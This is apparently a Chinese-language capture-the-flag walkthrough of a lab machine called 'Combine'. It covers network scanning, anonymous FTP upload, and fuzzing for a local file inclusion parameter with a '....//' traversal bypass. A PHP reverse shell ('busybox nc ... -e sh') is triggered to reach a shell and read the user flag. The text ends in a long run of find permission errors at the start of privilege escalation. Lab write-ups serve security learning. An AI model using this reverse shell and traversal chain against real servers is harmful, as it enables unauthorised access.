┌──(root㉿kali)-[~]
└─# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.56.102 netmask 255.255.255.0 broadcast 192.168.56.255
inet6 fe80::20c:29ff:fe66:2ae1 prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:66:2a:e1 txqueuelen 1000 (Ethernet)
RX packets 1 bytes 590 (590.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 22 bytes 3002 (2.9 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 8 bytes 480 (480.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 8 bytes 480 (480.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
┌──(root㉿kali)-[~]
└─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:66:2a:e1, IPv4: 192.168.56.102
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.56.1 0a:00:27:00:00:0d (Unknown: locally administered)
192.168.56.100 08:00:27:eb:d5:0a PCS Systemtechnik GmbH
192.168.56.106 08:00:27:2a:4b:fd PCS Systemtechnik GmbH
3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 1.985 seconds (128.97 hosts/sec). 3 responded
┌──(root㉿kali)-[~]
└─# nmap -sC -sV -p- 192.168.56.106
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-13 15:13 +08
Nmap scan report for 192.168.56.106
Host is up (0.00047s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 192.168.56.102
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 4
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxrwxrwx 2 65534 65534 4096 Oct 11 02:56 upload [NSE: writeable]
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
| 3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
| 256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
|_ 256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
80/tcp open http Apache httpd 2.4.62 ((Debian))
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
MAC Address: 08:00:27:2A:4B:FD (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.15 seconds
信息收集起手，出现21端口的ftp服务，而且是可以匿名登录的，这里我直接匿名登录看看
登录上去之后进行信息收集，发现.pwd文件(那个shell.php是我自己写的，put上去的，并非题目自带)
┌──(root㉿kali)-[~]
└─# ftp 192.168.56.106
Connected to 192.168.56.106.
220 (vsFTPd 3.0.3)
Name (192.168.56.106:kali): ftp
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -al
229 Entering Extended Passive Mode (|||27431|)
150 Here comes the directory listing.
dr-xr-xr-x 3 65534 65534 4096 Oct 10 13:01 .
dr-xr-xr-x 3 65534 65534 4096 Oct 10 13:01 ..
drwxrwxrwx 2 65534 65534 4096 Oct 11 02:56 upload
226 Directory send OK.
ftp> cd upload
250 Directory successfully changed.
ftp> ls -al
229 Entering Extended Passive Mode (|||59758|)
150 Here comes the directory listing.
drwxrwxrwx 2 65534 65534 4096 Oct 11 02:56 .
dr-xr-xr-x 3 65534 65534 4096 Oct 10 13:01 ..
-rw-r--r-- 1 0 0 16 Oct 10 13:08 .pwd
-rw-r--r-- 1 106 113 31 Oct 11 02:56 shell.php
226 Directory send OK.
ftp> cat .pwd
?Invalid command.
ftp> cat -A .pwd
?Invalid command.
ftp> get .pwd
local: .pwd remote: .pwd
229 Entering Extended Passive Mode (|||31001|)
150 Opening BINARY mode data connection for .pwd (16 bytes).
100% |*****************************************************************************************************************************************************| 16 7.55 KiB/s 00:00 ETA
226 Transfer complete.
16 bytes received in 00:00 (5.67 KiB/s)
读取.pwd文件
┌──(root㉿kali)-[~]
└─# cat .pwd
/srv/ftp/upload
发现一条路径，这个就是真实的在服务器上的路径，我在upload目录下写的shell其实就有用武之地了，毕竟总有方法可以访问得到的嘛
写入一个反弹shell的php脚本备用
┌──(root㉿kali)-[~]
└─# cat shell.php
<?php system('busybox nc 192.168.56.102 7777 -e sh'); ?>
然后就通过put上传ftp下的upload目录
ftp> put shell.php
local: shell.php remote: shell.php
229 Entering Extended Passive Mode (|||58936|)
150 Ok to send data.
100% |*****************************************************************************************************************************************************| 58 475.97 KiB/s 00:00 ETA
226 Transfer complete.
58 bytes sent in 00:00 (36.97 KiB/s)
接下来去看web页面，注释提示是LFI，那么估计就是让我们用LFI来访问ftp上传的文件，然后getshell了
那么需要一个LFI的参数，使用ffuf进行爆破
┌──(root㉿kali)-[~]
└─# ffuf -w /home/kali/桌面/1.txt:FUZZ -u "http://192.168.56.106?FUZZ=../../../etc/passwd" --fs 14
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://192.168.56.106?FUZZ=../../../etc/passwd
:: Wordlist : FUZZ: /home/kali/桌面/1.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 14
________________________________________________
:: Progress: [5846/5846] :: Job [1/1] :: 167 req/sec :: Duration: [0:00:04] :: Errors: 0 ::
┌──(root㉿kali)-[~]
└─# ffuf -w /home/kali/桌面/1.txt:FUZZ -u "http://192.168.56.106?FUZZ=....//....//....//etc/passwd" --fs 14
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://192.168.56.106?FUZZ=....//....//....//etc/passwd
:: Wordlist : FUZZ: /home/kali/桌面/1.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 14
________________________________________________
file [Status: 200, Size: 1465, Words: 16, Lines: 30, Duration: 7ms]
:: Progress: [5846/5846] :: Job [1/1] :: 142 req/sec :: Duration: [0:00:04] :: Errors: 0 ::
常规的路径被过滤了
参考这篇路径穿越的文章进行绕过，拿到参数名file
接下来直接访问+反弹shell即可
然后web端访问?file=….//….//….///srv/ftp/upload/shell.php
成功触发到反弹shell
┌──(root㉿kali)-[~]
└─# nc -lnvp 7777
listening on [any] 7777 ...
connect to [192.168.56.102] from (UNKNOWN) [192.168.56.106] 60816
script /dev/null -c bash
Script started, file is /dev/null
www-data@Combine:/var/www/html$ ls
ls
index.php
www-data@Combine:/var/www/html$ cd ..
cd ..
www-data@Combine:/var/www$ cd /
cd /
www-data@Combine:/$ ls
ls
bin home lib32 media root sys vmlinuz
boot initrd.img lib64 mnt run tmp vmlinuz.old
dev initrd.img.old libx32 opt sbin usr
etc lib lost+found proc srv var
www-data@Combine:/$ cd home
cd home
www-data@Combine:/home$ ls
ls
dashamao
www-data@Combine:/home$ cat dashamao
cat dashamao
cat: dashamao: Is a directory
www-data@Combine:/home$ cd dashamao
cd dashamao
www-data@Combine:/home/dashamao$ ls
ls
note.txt user.txt
www-data@Combine:/home/dashamao$ cat user.txt
cat user.txt
flag{user-4682ce07477fb95a0d4a9f84856ee52c}
接下来是提权
www-data@Combine:/home/dashamao$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@Combine:/home/dashamao$ ls
ls
note.txt user.txt
www-data@Combine:/home/dashamao$ cat note.txt
cat note.txt
check backup folder
这里提到存在一个后门，hhh
www-data@Combine:/$ find / -name backups
find / -name backups
find: '/root': Permission denied
find: '/run/sudo': Permission denied
find: '/run/credentials': Permission denied
find: '/run/systemd/unit-root': Permission denied
find: '/run/systemd/inaccessible/dir': Permission denied
find: '/sys/kernel/tracing': Permission denied
find: '/sys/kernel/debug': Permission denied
find: '/sys/fs/pstore': Permission denied
find: '/sys/fs/bpf': Permission denied
find: '/lost+found': Permission denied
find: '/proc/tty/driver': Permission denied
find: '/proc/1/task/1/fd': Permission denied
find: '/proc/1/task/1/fdinfo': Permission denied
find: '/proc/1/task/1/ns': Permission denied
find: '/proc/1/fd': Permission denied
find: '/proc/1/map_files': Permission denied
find: '/proc/1/fdinfo': Permission denied
find: '/proc/1/ns': Permission denied
find: '/proc/2/task/2/fd': Permission denied
find: '/proc/2/task/2/fdinfo': Permission denied
find: '/proc/2/task/2/ns': Permission denied
find: '/proc/2/fd': Permission denied
find: '/proc/2/map_files': Permission denied
find: '/proc/2/fdinfo': Permission denied
find: '/proc/2/ns': Permission denied
find: '/proc/3/task/3/fd': Permission denied
find: '/proc/3/task/3/fdinfo': Permission denied
find: '/proc/3/task/3/ns': Permission denied
find: '/proc/3/fd': Permission denied
find: '/proc/3/map_files': Permission denied
find: '/proc/3/fdinfo': Permission denied
find: '/proc/3/ns': Permission denied
find: '/proc/4/task/4/fd': Permission denied
find: '/proc/4/task/4/fdinfo': Permission denied
find: '/proc/4/task/4/ns': Permission denied
find: '/proc/4/fd': Permission denied
find: '/proc/4/map_files': Permission denied
find: '/proc/4/fdinfo': Permission denied
find: '/proc/4/ns': Permission denied
find: '/proc/6/task/6/fd': Permission denied
find: '/proc/6/task/6/fdinfo': Permission denied
find: '/proc/6/task/6/ns': Permission denied
find: '/proc/6/fd': Permission denied
find: '/proc/6/map_files': Permission denied
find: '/proc/6/fdinfo': Permission denied
find: '/proc/6/ns': Permission denied
find: '/proc/7/task/7/fd': Permission denied
find: '/proc/7/task/7/fdinfo': Permission denied
find: '/proc/7/task/7/ns': Permission denied
find: '/proc/7/fd': Permission denied
find: '/proc/7/map_files': Permission denied
find: '/proc/7/fdinfo': Permission denied
find: '/proc/7/ns': Permission denied
find: '/proc/8/task/8/fd': Permission denied
find: '/proc/8/task/8/fdinfo': Permission denied
find: '/proc/8/task/8/ns': Permission denied
find: '/proc/8/fd': Permission denied
find: '/proc/8/map_files': Permission denied
find: '/proc/8/fdinfo': Permission denied
find: '/proc/8/ns': Permission denied
find: '/proc/9/task/9/fd': Permission denied
find: '/proc/9/task/9/fdinfo': Permission denied
find: '/proc/9/task/9/ns': Permission denied
find: '/proc/9/fd': Permission denied
find: '/proc/9/map_files': Permission denied
find: '/proc/9/fdinfo': Permission denied
find: '/proc/9/ns': Permission denied
find: '/proc/10/task/10/fd': Permission denied
find: '/proc/10/task/10/fdinfo': Permission denied
find: '/proc/10/task/10/ns': Permission denied
find: '/proc/10/fd': Permission denied
find: '/proc/10/map_files': Permission denied
find: '/proc/10/fdinfo': Permission denied
find: '/proc/10/ns': Permission denied
find: '/proc/11/task/11/fd': Permission denied
find: '/proc/11/task/11/fdinfo': Permission denied
find: '/proc/11/task/11/ns': Permission denied
find: '/proc/11/fd': Permission denied
find: '/proc/11/map_files': Permission denied
find: '/proc/11/fdinfo': Permission denied
find: '/proc/11/ns': Permission denied
find: '/proc/12/task/12/fd': Permission denied
find: '/proc/12/task/12/fdinfo': Permission denied
find: '/proc/12/task/12/ns': Permission denied
find: '/proc/12/fd': Permission denied
find: '/proc/12/map_files': Permission denied
find: '/proc/12/fdinfo': Permission denied
find: '/proc/12/ns': Permission denied
find: '/proc/14/task/14/fd': Permission denied
find: '/proc/14/task/14/fdinfo': Permission denied
find: '/proc/14/task/14/ns': Permission denied
find: '/proc/14/fd': Permission denied
find: '/proc/14/map_files': Permission denied
find: '/proc/14/fdinfo': Permission denied
find: '/proc/14/ns': Permission denied
find: '/proc/15/task/15/fd': Permission denied
find: '/proc/15/task/15/fdinfo': Permission denied
find: '/proc/15/task/15/ns': Permission denied
find: '/proc/15/fd': Permission denied
find: '/proc/15/map_files': Permission denied
find: '/proc/15/fdinfo': Permission denied
find: '/proc/15/ns': Permission denied
find: '/proc/16/task/16/fd': Permission denied
find: '/proc/16/task/16/fdinfo': Permission denied
find: '/proc/16/task/16/ns': Permission denied
find: '/proc/16/fd': Permission denied
find: '/proc/16/map_files': Permission denied
find: '/proc/16/fdinfo': Permission denied
find: '/proc/16/ns': Permission denied
find: '/proc/17/task/17/fd': Permission denied
find: '/proc/17/task/17/fdinfo': Permission denied
find: '/proc/17/task/17/ns': Permission denied
find: '/proc/17/fd': Permission denied
find: '/proc/17/map_files': Permission denied
find: '/proc/17/fdinfo': Permission denied
find: '/proc/17/ns': Permission denied
find: '/proc/18/task/18/fd': Permission denied
find: '/proc/18/task/18/fdinfo': Permission denied
find: '/proc/18/task/18/ns': Permission denied
find: '/proc/18/fd': Permission denied
find: '/proc/18/map_files': Permission denied
find: '/proc/18/fdinfo': Permission denied
find: '/proc/18/ns': Permission denied
find: '/proc/19/task/19/fd': Permission denied
find: '/proc/19/task/19/fdinfo': Permission denied
find: '/proc/19/task/19/ns': Permission denied
find: '/proc/19/fd': Permission denied
find: '/proc/19/map_files': Permission denied
find: '/proc/19/fdinfo': Permission denied
find: '/proc/19/ns': Permission denied
find: '/proc/20/task/20/fd': Permission denied
find: '/proc/20/task/20/fdinfo': Permission denied
find: '/proc/20/task/20/ns': Permission denied
find: '/proc/20/fd': Permission denied
find: '/proc/20/map_files': Permission denied
find: '/proc/20/fdinfo': Permission denied
find: '/proc/20/ns': Permission denied
find: '/proc/21/task/21/fd': Permission denied
find: '/proc/21/task/21/fdinfo': Permission denied
find: '/proc/21/task/21/ns': Permission denied
find: '/proc/21/fd': Permission denied
find: '/proc/21/map_files': Permission denied
find: '/proc/21/fdinfo': Permission denied
find: '/proc/21/ns': Permission denied
find: '/proc/22/task/22/fd': Permission denied
find: '/proc/22/task/22/fdinfo': Permission denied
find: '/proc/22/task/22/ns': Permission denied
find: '/proc/22/fd': Permission denied
find: '/proc/22/map_files': Permission denied
find: '/proc/22/fdinfo': Permission denied
find: '/proc/22/ns': Permission denied
find: '/proc/23/task/23/fd': Permission denied
find: '/proc/23/task/23/fdinfo': Permission denied
find: '/proc/23/task/23/ns': Permission denied
find: '/proc/23/fd': Permission denied
find: '/proc/23/map_files': Permission denied
find: '/proc/23/fdinfo': Permission denied
find: '/proc/23/ns': Permission denied
find: '/proc/24/task/24/fd': Permission denied
find: '/proc/24/task/24/fdinfo': Permission denied
find: '/proc/24/task/24/ns': Permission denied
find: '/proc/24/fd': Permission denied
find: '/proc/24/map_files': Permission denied
find: '/proc/24/fdinfo': Permission denied
find: '/proc/24/ns': Permission denied
find: '/proc/25/task/25/fd': Permission denied
find: '/proc/25/task/25/fdinfo': Permission denied
find: '/proc/25/task/25/ns': Permission denied
find: '/proc/25/fd': Permission denied
find: '/proc/25/map_files': Permission denied
find: '/proc/25/fdinfo': Permission denied
find: '/proc/25/ns': Permission denied
find: '/proc/26/task/26/fd': Permission denied
find: '/proc/26/task/26/fdinfo': Permission denied
find: '/proc/26/task/26/ns': Permission denied
find: '/proc/26/fd': Permission denied
find: '/proc/26/map_files': Permission denied
find: '/proc/26/fdinfo': Permission denied
find: '/proc/26/ns': Permission denied
find: '/proc/27/task/27/fd': Permission denied
find: '/proc/27/task/27/fdinfo': Permission denied
find: '/proc/27/task/27/ns': Permission denied
find: '/proc/27/fd': Permission denied
find: '/proc/27/map_files': Permission denied
find: '/proc/27/fdinfo': Permission denied
find: '/proc/27/ns': Permission denied
find: '/proc/28/task/28/fd': Permission denied
find: '/proc/28/task/28/fdinfo': Permission denied
find: '/proc/28/task/28/ns': Permission denied
find: '/proc/28/fd': Permission denied
find: '/proc/28/map_files': Permission denied
find: '/proc/28/fdinfo': Permission denied
find: '/proc/28/ns': Permission denied
find: '/proc/29/task/29/fd': Permission denied
find: '/proc/29/task/29/fdinfo': Permission denied
find: '/proc/29/task/29/ns': Permission denied
find: '/proc/29/fd': Permission denied
find: '/proc/29/map_files': Permission denied
find: '/proc/29/fdinfo': Permission denied
find: '/proc/29/ns': Permission denied
find: '/proc/30/task/30/fd': Permission denied
find: '/proc/30/task/30/fdinfo': Permission denied
find: '/proc/30/task/30/ns': Permission denied
find: '/proc/30/fd': Permission denied
find: '/proc/30/map_files': Permission denied
find: '/proc/30/fdinfo': Permission denied
find: '/proc/30/ns': Permission denied
find: '/proc/48/task/48/fd': Permission denied
find: '/proc/48/task/48/fdinfo': Permission denied
find: '/proc/48/task/48/ns': Permission denied
find: '/proc/48/fd': Permission denied
find: '/proc/48/map_files': Permission denied
find: '/proc/48/fdinfo': Permission denied
find: '/proc/48/ns': Permission denied
find: '/proc/49/task/49/fd': Permission denied
find: '/proc/49/task/49/fdinfo': Permission denied
find: '/proc/49/task/49/ns': Permission denied
find: '/proc/49/fd': Permission denied
find: '/proc/49/map_files': Permission denied
find: '/proc/49/fdinfo': Permission denied
find: '/proc/49/ns': Permission denied
find: '/proc/50/task/50/fd': Permission denied
find: '/proc/50/task/50/fdinfo': Permission denied
find: '/proc/50/task/50/ns': Permission denied
find: '/proc/50/fd': Permission denied
find: '/proc/50/map_files': Permission denied
find: '/proc/50/fdinfo': Permission denied
find: '/proc/50/ns': Permission denied
find: '/proc/59/task/59/fd': Permission denied
find: '/proc/59/task/59/fdinfo': Permission denied
find: '/proc/59/task/59/ns': Permission denied
find: '/proc/59/fd': Permission denied
find: '/proc/59/map_files': Permission denied
find: '/proc/59/fdinfo': Permission denied
find: '/proc/59/ns': Permission denied
find: '/proc/100/task/100/fd': Permission denied
find: '/proc/100/task/100/fdinfo': Permission denied
find: '/proc/100/task/100/ns': Permission denied
find: '/proc/100/fd': Permission denied
find: '/proc/100/map_files': Permission denied
find: '/proc/100/fdinfo': Permission denied
find: '/proc/100/ns': Permission denied
find: '/proc/105/task/105/fd': Permission denied
find: '/proc/105/task/105/fdinfo': Permission denied
find: '/proc/105/task/105/ns': Permission denied
find: '/proc/105/fd': Permission denied
find: '/proc/105/map_files': Permission denied
find: '/proc/105/fdinfo': Permission denied
find: '/proc/105/ns': Permission denied
find: '/proc/106/task/106/fd': Permission denied
find: '/proc/106/task/106/fdinfo': Permission denied
find: '/proc/106/task/106/ns': Permission denied
find: '/proc/106/fd': Permission denied
find: '/proc/106/map_files': Permission denied
find: '/proc/106/fdinfo': Permission denied
find: '/proc/106/ns': Permission denied
find: '/proc/108/task/108/fd': Permission denied
find: '/proc/108/task/108/fdinfo': Permission denied
find: '/proc/108/task/108/ns': Permission denied
find: '/proc/108/fd': Permission denied
find: '/proc/108/map_files': Permission denied
find: '/proc/108/fdinfo': Permission denied
find: '/proc/108/ns': Permission denied
find: '/proc/110/task/110/fd': Permission denied
find: '/proc/110/task/110/fdinfo': Permission denied
find: '/proc/110/task/110/ns': Permission denied
find: '/proc/110/fd': Permission denied
find: '/proc/110/map_files': Permission denied
find: '/proc/110/fdinfo': Permission denied
find: '/proc/110/ns': Permission denied
find: '/proc/111/task/111/fd': Permission denied
find: '/proc/111/task/111/fdinfo': Permission denied
find: '/proc/111/task/111/ns': Permission denied
find: '/proc/111/fd': Permission denied
find: '/proc/111/map_files': Permission denied
find: '/proc/111/fdinfo': Permission denied
find: '/proc/111/ns': Permission denied
find: '/proc/113/task/113/fd': Permission denied
find: '/proc/113/task/113/fdinfo': Permission denied
find: '/proc/113/task/113/ns': Permission denied
find: '/proc/113/fd': Permission denied
find: '/proc/113/map_files': Permission denied
find: '/proc/113/fdinfo': Permission denied
find: '/proc/113/ns': Permission denied
find: '/proc/157/task/157/fd': Permission denied
find: '/proc/157/task/157/fdinfo': Permission denied
find: '/proc/157/task/157/ns': Permission denied
find: '/proc/157/fd': Permission denied
find: '/proc/157/map_files': Permission denied
find: '/proc/157/fdinfo': Permission denied
find: '/proc/157/ns': Permission denied
find: '/proc/159/task/159/fd': Permission denied
find: '/proc/159/task/159/fdinfo': Permission denied
find: '/proc/159/task/159/ns': Permission denied
find: '/proc/159/fd': Permission denied
find: '/proc/159/map_files': Permission denied
find: '/proc/159/fdinfo': Permission denied
find: '/proc/159/ns': Permission denied
find: '/proc/189/task/189/fd': Permission denied
find: '/proc/189/task/189/fdinfo': Permission denied
find: '/proc/189/task/189/ns': Permission denied
find: '/proc/189/fd': Permission denied
find: '/proc/189/map_files': Permission denied
find: '/proc/189/fdinfo': Permission denied
find: '/proc/189/ns': Permission denied
find: '/proc/191/task/191/fd': Permission denied
find: '/proc/191/task/191/fdinfo': Permission denied
find: '/proc/191/task/191/ns': Permission denied
find: '/proc/191/fd': Permission denied
find: '/proc/191/map_files': Permission denied
find: '/proc/191/fdinfo': Permission denied
find: '/proc/191/ns': Permission denied
find: '/proc/192/task/192/fd': Permission denied
find: '/proc/192/task/192/fdinfo': Permission denied
find: '/proc/192/task/192/ns': Permission denied
find: '/proc/192/fd': Permission denied
find: '/proc/192/map_files': Permission denied
find: '/proc/192/fdinfo': Permission denied
find: '/proc/192/ns': Permission denied
find: '/proc/225/task/225/fd': Permission denied
find: '/proc/225/task/225/fdinfo': Permission denied
find: '/proc/225/task/225/ns': Permission denied
find: '/proc/225/fd': Permission denied
find: '/proc/225/map_files': Permission denied
find: '/proc/225/fdinfo': Permission denied
find: '/proc/225/ns': Permission denied
find: '/proc/249/task/249/fd': Permission denied
find: '/proc/249/task/249/fdinfo': Permission denied
find: '/proc/249/task/249/ns': Permission denied
find: '/proc/249/fd': Permission denied
find: '/proc/249/map_files': Permission denied
find: '/proc/249/fdinfo': Permission denied
find: '/proc/249/ns': Permission denied
find: '/proc/287/task/287/fd': Permission denied
find: '/proc/287/task/287/fdinfo': Permission denied
find: '/proc/287/task/287/ns': Permission denied
find: '/proc/287/fd': Permission denied
find: '/proc/287/map_files': Permission denied
find: '/proc/287/fdinfo': Permission denied
find: '/proc/287/ns': Permission denied
find: '/proc/290/task/290/fd': Permission denied
find: '/proc/290/task/290/fdinfo': Permission denied
find: '/proc/290/task/290/ns': Permission denied
find: '/proc/290/fd': Permission denied
find: '/proc/290/map_files': Permission denied
find: '/proc/290/fdinfo': Permission denied
find: '/proc/290/ns': Permission denied
find: '/proc/338/task/338/fd': Permission denied
find: '/proc/338/task/338/fdinfo': Permission denied
find: '/proc/338/task/338/ns': Permission denied
find: '/proc/338/fd': Permission denied
find: '/proc/338/map_files': Permission denied
find: '/proc/338/fdinfo': Permission denied
find: '/proc/338/ns': Permission denied
find: '/proc/340/task/340/fd': Permission denied
find: '/proc/340/task/340/fdinfo': Permission denied
find: '/proc/340/task/340/ns': Permission denied
find: '/proc/340/task/377/fd': Permission denied
find: '/proc/340/task/377/fdinfo': Permission denied
find: '/proc/340/task/377/ns': Permission denied
find: '/proc/340/fd': Permission denied
find: '/proc/340/map_files': Permission denied
find: '/proc/340/fdinfo': Permission denied
find: '/proc/340/ns': Permission denied
find: '/proc/375/task/375/fd': Permission denied
find: '/proc/375/task/375/fdinfo': Permission denied
find: '/proc/375/task/375/ns': Permission denied
find: '/proc/375/fd': Permission denied
find: '/proc/375/map_files': Permission denied
find: '/proc/375/fdinfo': Permission denied
find: '/proc/375/ns': Permission denied
find: '/proc/376/task/376/fd': Permission denied
find: '/proc/376/task/376/fdinfo': Permission denied
find: '/proc/376/task/376/ns': Permission denied
find: '/proc/376/fd': Permission denied
find: '/proc/376/map_files': Permission denied
find: '/proc/376/fdinfo': Permission denied
find: '/proc/376/ns': Permission denied
find: '/proc/378/task/378/fd': Permission denied
find: '/proc/378/task/378/fdinfo': Permission denied
find: '/proc/378/task/378/ns': Permission denied
find: '/proc/378/task/387/fd': Permission denied
find: '/proc/378/task/387/fdinfo': Permission denied
find: '/proc/378/task/387/ns': Permission denied
find: '/proc/378/task/388/fd': Permission denied
find: '/proc/378/task/388/fdinfo': Permission denied
find: '/proc/378/task/388/ns': Permission denied
find: '/proc/378/task/393/fd': Permission denied
find: '/proc/378/task/393/fdinfo': Permission denied
find: '/proc/378/task/393/ns': Permission denied
find: '/proc/378/fd': Permission denied
find: '/proc/378/map_files': Permission denied
find: '/proc/378/fdinfo': Permission denied
find: '/proc/378/ns': Permission denied
find: '/proc/381/task/381/fd': Permission denied
find: '/proc/381/task/381/fdinfo': Permission denied
find: '/proc/381/task/381/ns': Permission denied
find: '/proc/381/fd': Permission denied
find: '/proc/381/map_files': Permission denied
find: '/proc/381/fdinfo': Permission denied
find: '/proc/381/ns': Permission denied
find: '/proc/385/task/385/fd': Permission denied
find: '/proc/385/task/385/fdinfo': Permission denied
find: '/proc/385/task/385/ns': Permission denied
find: '/proc/385/fd': Permission denied
find: '/proc/385/map_files': Permission denied
find: '/proc/385/fdinfo': Permission denied
find: '/proc/385/ns': Permission denied
find: '/proc/386/task/386/fd': Permission denied
find: '/proc/386/task/386/fdinfo': Permission denied
find: '/proc/386/task/386/ns': Permission denied
find: '/proc/386/fd': Permission denied
find: '/proc/386/map_files': Permission denied
find: '/proc/386/fdinfo': Permission denied
find: '/proc/386/ns': Permission denied
find: '/proc/407/task/407/fd': Permission denied
find: '/proc/407/task/407/fdinfo': Permission denied
find: '/proc/407/task/407/ns': Permission denied
find: '/proc/407/fd': Permission denied
find: '/proc/407/map_files': Permission denied
find: '/proc/407/fdinfo': Permission denied
find: '/proc/407/ns': Permission denied
find: '/proc/414/task/414/fd': Permission denied
find: '/proc/414/task/414/fdinfo': Permission denied
find: '/proc/414/task/414/ns': Permission denied
find: '/proc/414/task/421/fd': Permission denied
find: '/proc/414/task/421/fdinfo': Permission denied
find: '/proc/414/task/421/ns': Permission denied
find: '/proc/414/fd': Permission denied
find: '/proc/414/map_files': Permission denied
find: '/proc/414/fdinfo': Permission denied
find: '/proc/414/ns': Permission denied
find: '/proc/419/task/419/fd': Permission denied
find: '/proc/419/task/419/fdinfo': Permission denied
find: '/proc/419/task/419/ns': Permission denied
find: '/proc/419/fd': Permission denied
find: '/proc/419/map_files': Permission denied
find: '/proc/419/fdinfo': Permission denied
find: '/proc/419/ns': Permission denied
find: '/proc/422/task/422/fd': Permission denied
find: '/proc/422/task/422/fdinfo': Permission denied
find: '/proc/422/task/422/ns': Permission denied
find: '/proc/422/fd': Permission denied
find: '/proc/422/map_files': Permission denied
find: '/proc/422/fdinfo': Permission denied
find: '/proc/422/ns': Permission denied
find: '/proc/423/task/423/fd': Permission denied
find: '/proc/423/task/423/fdinfo': Permission denied
find: '/proc/423/task/423/ns': Permission denied
find: '/proc/423/fd': Permission denied
find: '/proc/423/map_files': Permission denied
find: '/proc/423/fdinfo': Permission denied
find: '/proc/423/ns': Permission denied
find: '/proc/424/task/424/fd': Permission denied
find: '/proc/424/task/424/fdinfo': Permission denied
find: '/proc/424/task/424/ns': Permission denied
find: '/proc/424/fd': Permission denied
find: '/proc/424/map_files': Permission denied
find: '/proc/424/fdinfo': Permission denied
find: '/proc/424/ns': Permission denied
find: '/proc/425/task/425/fd': Permission denied
find: '/proc/425/task/425/fdinfo': Permission denied
find: '/proc/425/task/425/ns': Permission denied
find: '/proc/425/fd': Permission denied
find: '/proc/425/map_files': Permission denied
find: '/proc/425/fdinfo': Permission denied
find: '/proc/425/ns': Permission denied
find: '/proc/426/task/426/fd': Permission denied
find: '/proc/426/task/426/fdinfo': Permission denied
find: '/proc/426/task/426/ns': Permission denied
find: '/proc/426/fd': Permission denied
find: '/proc/426/map_files': Permission denied
find: '/proc/426/fdinfo': Permission denied
find: '/proc/426/ns': Permission denied
find: '/proc/531/task/531/fd': Permission denied
find: '/proc/531/task/531/fdinfo': Permission denied
find: '/proc/531/task/531/ns': Permission denied
find: '/proc/531/fd': Permission denied
find: '/proc/531/map_files': Permission denied
find: '/proc/531/fdinfo': Permission denied
find: '/proc/531/ns': Permission denied
find: '/proc/538/task/538/fd': Permission denied
find: '/proc/538/task/538/fdinfo': Permission denied
find: '/proc/538/task/538/ns': Permission denied
find: '/proc/538/fd': Permission denied
find: '/proc/538/map_files': Permission denied
find: '/proc/538/fdinfo': Permission denied
find: '/proc/538/ns': Permission denied
find: '/proc/552/task/552/fd': Permission denied
find: '/proc/552/task/552/fdinfo': Permission denied
find: '/proc/552/task/552/ns': Permission denied
find: '/proc/552/fd': Permission denied
find: '/proc/552/map_files': Permission denied
find: '/proc/552/fdinfo': Permission denied
find: '/proc/552/ns': Permission denied
find: '/proc/553/task/553/fd': Permission denied
find: '/proc/553/task/553/fdinfo': Permission denied
find: '/proc/553/task/553/ns': Permission denied
find: '/proc/553/fd': Permission denied
find: '/proc/553/map_files': Permission denied
find: '/proc/553/fdinfo': Permission denied
find: '/proc/553/ns': Permission denied
find: '/proc/565/task/565/fd': Permission denied
find: '/proc/565/task/565/fdinfo': Permission denied
find: '/proc/565/task/565/ns': Permission denied
find: '/proc/565/fd': Permission denied
find: '/proc/565/map_files': Permission denied
